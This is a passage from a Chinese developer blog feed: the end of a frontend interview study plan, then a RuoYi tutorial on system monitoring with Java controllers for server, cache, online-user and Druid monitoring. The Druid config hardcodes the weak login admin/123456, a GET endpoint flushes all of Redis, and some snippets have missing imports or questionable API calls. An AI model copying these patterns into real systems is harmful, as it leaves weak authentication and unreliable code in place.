&lt;tr&gt;
&lt;td&gt;工程化&lt;/td&gt;
&lt;td&gt;3-5 天&lt;/td&gt;
&lt;td&gt;构建工具、性能优化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后端知识&lt;/td&gt;
&lt;td&gt;3-5 天&lt;/td&gt;
&lt;td&gt;Nginx、MySQL 基础&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;项目复盘&lt;/td&gt;
&lt;td&gt;1 周&lt;/td&gt;
&lt;td&gt;准备项目经验、难点亮点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模拟面试&lt;/td&gt;
&lt;td&gt;2-3 天&lt;/td&gt;
&lt;td&gt;刷题、模拟真实面试场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;高频考点 TOP 10&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;🔥 &lt;strong&gt;闭包&lt;/strong&gt;：什么是闭包？应用场景？内存泄漏问题？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;原型链&lt;/strong&gt;：&lt;code&gt;__proto__&lt;/code&gt; 和 &lt;code&gt;prototype&lt;/code&gt; 的区别？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;事件循环&lt;/strong&gt;：宏任务、微任务的执行顺序？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;Vue 响应式&lt;/strong&gt;：Object.defineProperty vs Proxy？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;React Fiber&lt;/strong&gt;：为什么需要 Fiber？时间切片原理？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;虚拟 DOM&lt;/strong&gt;：虚拟 DOM 一定比直接操作 DOM 快吗？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;跨域解决方案&lt;/strong&gt;：CORS、JSONP、代理的区别？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;性能优化&lt;/strong&gt;：首屏加载优化、代码分割、懒加载？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;Webpack vs Vite&lt;/strong&gt;：为什么 Vite 快？冷启动原理？&lt;/li&gt;
&lt;li&gt;🔥 &lt;strong&gt;HTTP 缓存&lt;/strong&gt;：强缓存、协商缓存的区别？&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;面试回答技巧&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;STAR 法则回答项目经验：
S (Situation) - 项目背景
T (Task) - 你的任务
A (Action) - 你做了什么
R (Result) - 取得了什么成果

技术问题回答框架：
1. 是什么（定义）
2. 为什么（原理）
3. 怎么用（实践）
4. 注意什么（最佳实践/坑）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识领域&lt;/th&gt;
&lt;th&gt;重要程度&lt;/th&gt;
&lt;th&gt;建议时间&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JavaScript 核心&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;2-3 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vue/React 框架&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;2-3 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSS 布局&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网络与 HTTP&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构建工具&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨端开发&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;0.5 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;0.5 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MySQL&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;0.5 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后端基础&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;0.5 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1-2 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能优化&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1-2 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;手写代码&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;2-3 天（需动手敲）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;工程化实践&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1-2 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实时通信&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;0.5-1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;系统设计&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;2-3 天（重点）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;软素质 HR 面&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1 天（需演练）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;2-3 天（全栈方向重点）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;资深核心能力问答&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1-2 天（查漏补缺）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;深水区实战&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;1-2 天（架构思路）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
建议按顺序阅读，先打牢基础再看框架和工程化。已经熟悉的部分可以直接跳到对应文章当作速查表使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;面试不仅仅是技术&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;沟通能力：清晰表达思路，不懂就问&lt;/li&gt;
&lt;li&gt;项目经验：准备 2-3 个有亮点的项目&lt;/li&gt;
&lt;li&gt;学习能力：展示学习新技术的方法&lt;/li&gt;
&lt;li&gt;团队协作：举例说明如何处理分歧&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段十二：系统监控</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-12-system-monitor/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-12-system-monitor/</guid><description>学习系统监控功能：服务监控、缓存监控、在线用户管理和数据监控，完成 RuoYi 学习路线。</description><pubDate>Mon, 07 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段十二&lt;/strong&gt;，聚焦系统监控。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解服务器监控的实现方式&lt;/li&gt;
&lt;li&gt;掌握缓存监控和在线用户管理&lt;/li&gt;
&lt;li&gt;完成 RuoYi 全部学习路线！&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：系统监控像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 系统监控&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;服务监控&lt;/td&gt;
&lt;td&gt;性能面板 (Performance)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;缓存监控&lt;/td&gt;
&lt;td&gt;应用存储 (Application Storage)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;在线用户&lt;/td&gt;
&lt;td&gt;活跃会话管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据监控&lt;/td&gt;
&lt;td&gt;网络请求监控 (Network)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JVM 监控&lt;/td&gt;
&lt;td&gt;浏览器内存使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;系统监控模块&lt;/h2&gt;
&lt;p&gt;RuoYi 提供四个监控功能：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模块&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;在线用户&lt;/td&gt;
&lt;td&gt;查看当前在线用户，可强退&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;定时任务&lt;/td&gt;
&lt;td&gt;查看任务执行情况&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据监控&lt;/td&gt;
&lt;td&gt;Druid 连接池监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务监控&lt;/td&gt;
&lt;td&gt;CPU、内存、JVM、服务器信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;缓存监控&lt;/td&gt;
&lt;td&gt;Redis 缓存信息&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;服务监控&lt;/h2&gt;
&lt;h3&gt;控制器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
package com.ruoyi.web.controller.monitor;

import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.framework.web.domain.Server;

/**
 * 服务器监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping(&quot;/monitor/server&quot;)
public class ServerController extends BaseController {
    private String prefix = &quot;monitor/server&quot;;

    @RequiresPermissions(&quot;monitor:server:view&quot;)
    @GetMapping()
    public String server(ModelMap mmap) {
        Server server = new Server();
        server.copyTo();
        mmap.put(&quot;server&quot;, server);
        return prefix + &quot;/server&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;服务器信息实体&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/web/domain/Server.java
package com.ruoyi.framework.web.domain;

import java.net.UnknownHostException;
import java.util.LinkedList;
import java.util.List;
import java.util.Properties;
import com.ruoyi.common.utils.Arith;
import com.ruoyi.common.utils.IpUtils;
import com.ruoyi.framework.web.domain.server.*;

/**
 * 服务器相关信息
 * 
 * @author ruoyi
 */
public class Server {
    private static final int OSHI_WAIT_SECOND = 1000;

    /**
     * CPU相关信息
     */
    private Cpu cpu = new Cpu();

    /**
     * 内存相关信息
     */
    private Mem mem = new Mem();

    /**
     * JVM相关信息
     */
    private Jvm jvm = new Jvm();

    /**
     * 服务器相关信息
     */
    private Sys sys = new Sys();

    /**
     * 磁盘相关信息
     */
    private List&amp;lt;SysFile&amp;gt; sysFiles = new LinkedList&amp;lt;SysFile&amp;gt;();

    public Cpu getCpu() {
        return cpu;
    }

    public void setCpu(Cpu cpu) {
        this.cpu = cpu;
    }

    public Mem getMem() {
        return mem;
    }

    public void setMem(Mem mem) {
        this.mem = mem;
    }

    public Jvm getJvm() {
        return jvm;
    }

    public void setJvm(Jvm jvm) {
        this.jvm = jvm;
    }

    public Sys getSys() {
        return sys;
    }

    public void setSys(Sys sys) {
        this.sys = sys;
    }

    public List&amp;lt;SysFile&amp;gt; getSysFiles() {
        return sysFiles;
    }

    public void setSysFiles(List&amp;lt;SysFile&amp;gt; sysFiles) {
        this.sysFiles = sysFiles;
    }

    /**
     * 复制服务器信息
     */
    public void copyTo() {
        try {
            // CPU信息
            Cpu cpu = getCpu();
            CentralProcessor processor = SystemInfo.getInstance().getHardware().getProcessor();
            long[] prevTicks = processor.getSystemCpuLoadTicks();
            Thread.sleep(OSHI_WAIT_SECOND);
            long[] ticks = processor.getSystemCpuLoadTicks();
            long nice = ticks[TickType.NICE.getIndex()] - prevTicks[TickType.NICE.getIndex()];
            long irq = ticks[TickType.IRQ.getIndex()] - prevTicks[TickType.IRQ.getIndex()];
            long softirq = ticks[TickType.SOFTIRQ.getIndex()] - prevTicks[TickType.SOFTIRQ.getIndex()];
            long steal = ticks[TickType.STEAL.getIndex()] - prevTicks[TickType.STEAL.getIndex()];
            long cSys = ticks[TickType.SYSTEM.getIndex()] - prevTicks[TickType.SYSTEM.getIndex()];
            long user = ticks[TickType.USER.getIndex()] - prevTicks[TickType.USER.getIndex()];
            long iowait = ticks[TickType.IOWAIT.getIndex()] - prevTicks[TickType.IOWAIT.getIndex()];
            long idle = ticks[TickType.IDLE.getIndex()] - prevTicks[TickType.IDLE.getIndex()];
            long totalCpu = user + nice + cSys + idle + iowait + irq + softirq + steal;
            cpu.setCpuNum(processor.getLogicalProcessorCount());
            cpu.setTotal(totalCpu);
            cpu.setSys(cSys);
            cpu.setUsed(user);
            cpu.setWait(iowait);
            cpu.setFree(idle);

            // 内存信息
            Mem mem = getMem();
            GlobalMemory memory = SystemInfo.getInstance().getHardware().getMemory();
            long totalByte = memory.getTotal();
            long availableByte = memory.getAvailable();
            long usedByte = totalByte - availableByte;
            mem.setTotal(totalByte);
            mem.setUsed(usedByte);
            mem.setFree(availableByte);
            mem.setUsage(Arith.mul(Arith.div(usedByte, totalByte, 4), 100));

            // JVM信息
            Jvm jvm = getJvm();
            Properties props = System.getProperties();
            jvm.setTotal(Runtime.getRuntime().totalMemory());
            jvm.setMax(Runtime.getRuntime().maxMemory());
            jvm.setFree(Runtime.getRuntime().freeMemory());
            jvm.setVersion(props.getProperty(&quot;java.version&quot;));
            jvm.setHome(props.getProperty(&quot;java.home&quot;));
            jvm.setStartTime(DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS, 
                    Date.from(Instant.ofEpochMilli(ManagementFactory.getRuntimeMXBean().getStartTime()))));
            jvm.setRunTime(DateUtils.getDatePoor(DateUtils.getNowDate(), jvm.getStartTime()));
            jvm.setInputArgs(ManagementFactory.getRuntimeMXBean().getInputArguments());

            // 服务器信息
            Sys sys = getSys();
            InetAddress addr = InetAddress.getLocalHost();
            sys.setComputerName(addr.getHostName());
            sys.setComputerIp(IpUtils.getHostIp());
            sys.setOsName(props.getProperty(&quot;os.name&quot;));
            sys.setOsArch(props.getProperty(&quot;os.arch&quot;));
            sys.setUserDir(props.getProperty(&quot;user.dir&quot;));

            // 磁盘信息
            List&amp;lt;SysFile&amp;gt; sysFiles = getSysFiles();
            FileSystem fileSystem = SystemInfo.getInstance().getOperatingSystem().getFileSystem();
            for (OSFileStore fs : fileSystem.getFileStores()) {
                SysFile sysFile = new SysFile();
                sysFile.setDirName(fs.getMount());
                sysFile.setSysTypeName(fs.getType());
                sysFile.setTypeName(fs.getName());
                sysFile.setTotal(fs.getTotalSpace());
                sysFile.setFree(fs.getUsableSpace());
                sysFile.setUsed(fs.getTotalSpace() - fs.getUsableSpace());
                sysFile.setUsage(Arith.mul(Arith.div(sysFile.getUsed(), sysFile.getTotal(), 4), 100));
                sysFiles.add(sysFile);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CPU 信息实体&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java
package com.ruoyi.framework.web.domain.server;

import com.ruoyi.common.utils.Arith;

/**
 * CPU相关信息
 * 
 * @author ruoyi
 */
public class Cpu {
    /**
     * 核心数
     */
    private int cpuNum;

    /**
     * CPU总的使用率
     */
    private double total;

    /**
     * CPU系统使用率
     */
    private double sys;

    /**
     * CPU用户使用率
     */
    private double used;

    /**
     * CPU当前等待率
     */
    private double wait;

    /**
     * CPU当前空闲率
     */
    private double free;

    public int getCpuNum() {
        return cpuNum;
    }

    public void setCpuNum(int cpuNum) {
        this.cpuNum = cpuNum;
    }

    public double getTotal() {
        return Arith.round(Arith.mul(total, 100), 2);
    }

    public void setTotal(long total) {
        this.total = total;
    }

    public double getSys() {
        return Arith.div(Arith.mul(sys, 100), total, 2);
    }

    public void setSys(double sys) {
        this.sys = sys;
    }

    public double getUsed() {
        return Arith.div(Arith.mul(used, 100), total, 2);
    }

    public void setUsed(double used) {
        this.used = used;
    }

    public double getWait() {
        return Arith.div(Arith.mul(wait, 100), total, 2);
    }

    public void setWait(double wait) {
        this.wait = wait;
    }

    public double getFree() {
        return Arith.div(Arith.mul(free, 100), total, 2);
    }

    public void setFree(double free) {
        this.free = free;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;缓存监控&lt;/h2&gt;
&lt;h3&gt;控制器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
package com.ruoyi.web.controller.monitor;

import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisCallback;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.redis.RedisCache;

import java.util.*;

/**
 * 缓存监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping(&quot;/monitor/cache&quot;)
public class CacheController extends BaseController {
    @Autowired
    private RedisTemplate&amp;lt;String, String&amp;gt; redisTemplate;

    private final static List&amp;lt;CacheInfo&amp;gt; caches = new ArrayList&amp;lt;CacheInfo&amp;gt;();
    {
        caches.add(new CacheInfo(Constants.LOGIN_TOKEN_KEY, &quot;用户信息&quot;));
        caches.add(new CacheInfo(Constants.SYS_DICT_KEY, &quot;配置信息&quot;));
        caches.add(new CacheInfo(Constants.CAPTCHA_CODE_KEY, &quot;验证码&quot;));
        caches.add(new CacheInfo(Constants.REPEAT_SUBMIT_KEY, &quot;防重提交&quot;));
        caches.add(new CacheInfo(Constants.RATE_LIMIT_KEY, &quot;限流处理&quot;));
        caches.add(new CacheInfo(Constants.PWD_ERR_CNT_KEY, &quot;密码错误次数&quot;));
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping()
    public String cache(ModelMap mmap) {
        mmap.put(&quot;caches&quot;, caches);
        return &quot;monitor/cache/cache&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/getNames&quot;)
    public String getCacheNames(ModelMap mmap) {
        mmap.put(&quot;caches&quot;, caches);
        return &quot;monitor/cache/cache :: cacheNames&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/getKeys/{cacheName}&quot;)
    public String getCacheKeys(@PathVariable String cacheName, ModelMap mmap) {
        List&amp;lt;String&amp;gt; cacheKeys = redisTemplate.keys(cacheName + &quot;*&quot;);
        mmap.put(&quot;cacheKeys&quot;, cacheKeys);
        mmap.put(&quot;cacheName&quot;, cacheName);
        return &quot;monitor/cache/cache :: cacheKeys&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/getValue/{cacheName}/{cacheKey}&quot;)
    public String getCacheValue(@PathVariable String cacheName, @PathVariable String cacheKey, ModelMap mmap) {
        String cacheValue = redisTemplate.opsForValue().get(cacheKey);
        CacheInfo cacheInfo = new CacheInfo();
        cacheInfo.setCacheName(cacheName);
        cacheInfo.setCacheKey(cacheKey);
        cacheInfo.setCacheValue(cacheValue);
        mmap.put(&quot;cache&quot;, cacheInfo);
        return &quot;monitor/cache/cache :: cacheValue&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/clearCacheName/{cacheName}&quot;)
    public String clearCacheName(@PathVariable String cacheName, ModelMap mmap) {
        redisTemplate.delete(redisTemplate.keys(cacheName + &quot;*&quot;));
        return &quot;monitor/cache/cache :: cacheNames&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/clearCacheKey/{cacheKey}&quot;)
    public String clearCacheKey(@PathVariable String cacheKey, ModelMap mmap) {
        redisTemplate.delete(cacheKey);
        return &quot;monitor/cache/cache :: cacheKeys&quot;;
    }

    @RequiresPermissions(&quot;monitor:cache:view&quot;)
    @GetMapping(&quot;/clearCacheAll&quot;)
    public String clearCacheAll(ModelMap mmap) {
        redisTemplate.execute((RedisCallback&amp;lt;Boolean&amp;gt;) connection -&amp;gt; {
            connection.flushAll();
            return true;
        });
        return &quot;monitor/cache/cache :: cacheNames&quot;;
    }

    static class CacheInfo {
        private String cacheName;
        private String cacheKey;
        private String cacheValue;
        private String remark;

        public CacheInfo() {}

        public CacheInfo(String cacheName, String remark) {
            this.cacheName = cacheName;
            this.remark = remark;
        }

        // Getter 和 Setter 省略...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;在线用户管理&lt;/h2&gt;
&lt;h3&gt;控制器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/monitor/OnlineController.java
package com.ruoyi.web.controller.monitor;

import java.util.List;
import org.apache.shiro.session.Session;
import org.apache.shiro.session.mgt.eis.SessionDAO;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.framework.shiro.session.OnlineSession;
import com.ruoyi.system.domain.SysUserOnline;
import com.ruoyi.system.service.ISysUserOnlineService;

/**
 * 在线用户监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping(&quot;/monitor/online&quot;)
public class OnlineController extends BaseController {
    private String prefix = &quot;monitor/online&quot;;

    @Autowired
    private ISysUserOnlineService userOnlineService;

    @Autowired
    private SessionDAO sessionDAO;

    @RequiresPermissions(&quot;monitor:online:view&quot;)
    @GetMapping()
    public String online() {
        return prefix + &quot;/online&quot;;
    }

    @RequiresPermissions(&quot;monitor:online:list&quot;)
    @PostMapping(&quot;/list&quot;)
    @ResponseBody
    public TableDataInfo list(SysUserOnline userOnline) {
        startPage();
        List&amp;lt;SysUserOnline&amp;gt; list = userOnlineService.selectUserOnlineList(userOnline);
        return getDataTable(list);
    }

    @RequiresPermissions(&quot;monitor:online:batchForceLogout&quot;)
    @PostMapping(&quot;/batchForceLogout&quot;)
    @ResponseBody
    public AjaxResult batchForceLogout(@RequestParam(&quot;ids[]&quot;) String[] ids) {
        for (String sessionId : ids) {
            try {
                Session session = sessionDAO.readSession(sessionId);
                if (session != null) {
                    session.setTimeout(1000);
                    userOnlineService.deleteById(sessionId);
                }
            } catch (Exception e) {
                // 忽略异常
            }
        }
        return success();
    }

    @RequiresPermissions(&quot;monitor:online:forceLogout&quot;)
    @PostMapping(&quot;/forceLogout&quot;)
    @ResponseBody
    public AjaxResult forceLogout(String sessionId) {
        try {
            Session session = sessionDAO.readSession(sessionId);
            if (session != null) {
                session.setTimeout(1000);
                userOnlineService.deleteById(sessionId);
            }
        } catch (Exception e) {
            // 忽略异常
        }
        return success();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据监控 (Druid)&lt;/h2&gt;
&lt;p&gt;RuoYi 集成了 Druid 数据源监控：&lt;/p&gt;
&lt;h3&gt;配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/config/DruidConfig.java
package com.ruoyi.framework.config;

import java.util.HashMap;
import java.util.Map;
import javax.sql.DataSource;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import com.alibaba.druid.pool.DruidDataSource;
import com.alibaba.druid.support.http.StatViewServlet;
import com.alibaba.druid.support.http.WebStatFilter;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.boot.web.servlet.ServletRegistrationBean;

/**
 * druid 配置多数据源
 * 
 * @author ruoyi
 */
@Configuration
public class DruidConfig {
    @Bean
    @ConfigurationProperties(&quot;spring.datasource.druid.master&quot;)
    public DataSource masterDataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        return dataSource;
    }

    @Bean
    @ConfigurationProperties(&quot;spring.datasource.druid.slave&quot;)
    public DataSource slaveDataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        return dataSource;
    }

    /**
     * Druid 监控页面
     */
    @Bean
    public ServletRegistrationBean&amp;lt;StatViewServlet&amp;gt; statViewServlet() {
        ServletRegistrationBean&amp;lt;StatViewServlet&amp;gt; bean = new ServletRegistrationBean&amp;lt;&amp;gt;(
                new StatViewServlet(), &quot;/druid/*&quot;);
        // 配置监控页面访问登录名和密码
        Map&amp;lt;String, String&amp;gt; initParams = new HashMap&amp;lt;&amp;gt;();
        initParams.put(&quot;loginUsername&quot;, &quot;admin&quot;);
        initParams.put(&quot;loginPassword&quot;, &quot;123456&quot;);
        // 是否允许删除数据
        initParams.put(&quot;resetEnable&quot;, &quot;false&quot;);
        bean.setInitParameters(initParams);
        return bean;
    }

    /**
     * Druid Web 监控过滤器
     */
    @Bean
    public FilterRegistrationBean&amp;lt;WebStatFilter&amp;gt; webStatFilter() {
        FilterRegistrationBean&amp;lt;WebStatFilter&amp;gt; bean = new FilterRegistrationBean&amp;lt;&amp;gt;(new WebStatFilter());
        Map&amp;lt;String, String&amp;gt; initParams = new HashMap&amp;lt;&amp;gt;();
        initParams.put(&quot;exclusions&quot;, &quot;*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*&quot;);
        bean.setInitParameters(initParams);
        bean.addUrlPatterns(&quot;/*&quot;);
        return bean;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;访问地址&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/druid
用户名: admin
密码: 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 系统监控核心流程
// 1. 服务器信息获取
Server server = new Server();
server.copyTo();  // 获取 CPU、内存、JVM、磁盘信息

// 2. 缓存监控
List&amp;lt;String&amp;gt; cacheKeys = redisTemplate.keys(cacheName + &quot;*&quot;);
String cacheValue = redisTemplate.opsForValue().get(cacheKey);

// 3. 在线用户
List&amp;lt;SysUserOnline&amp;gt; list = userOnlineService.selectUserOnlineList(userOnline);
Session session = sessionDAO.readSession(sessionId);

// 4. Druid 监控
// 访问 /druid 查看 SQL 执行情况
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Server&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;服务器信息实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Cpu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CPU 信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Mem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;内存信息&lt;/td&gt;
&lt;/tr&gt;
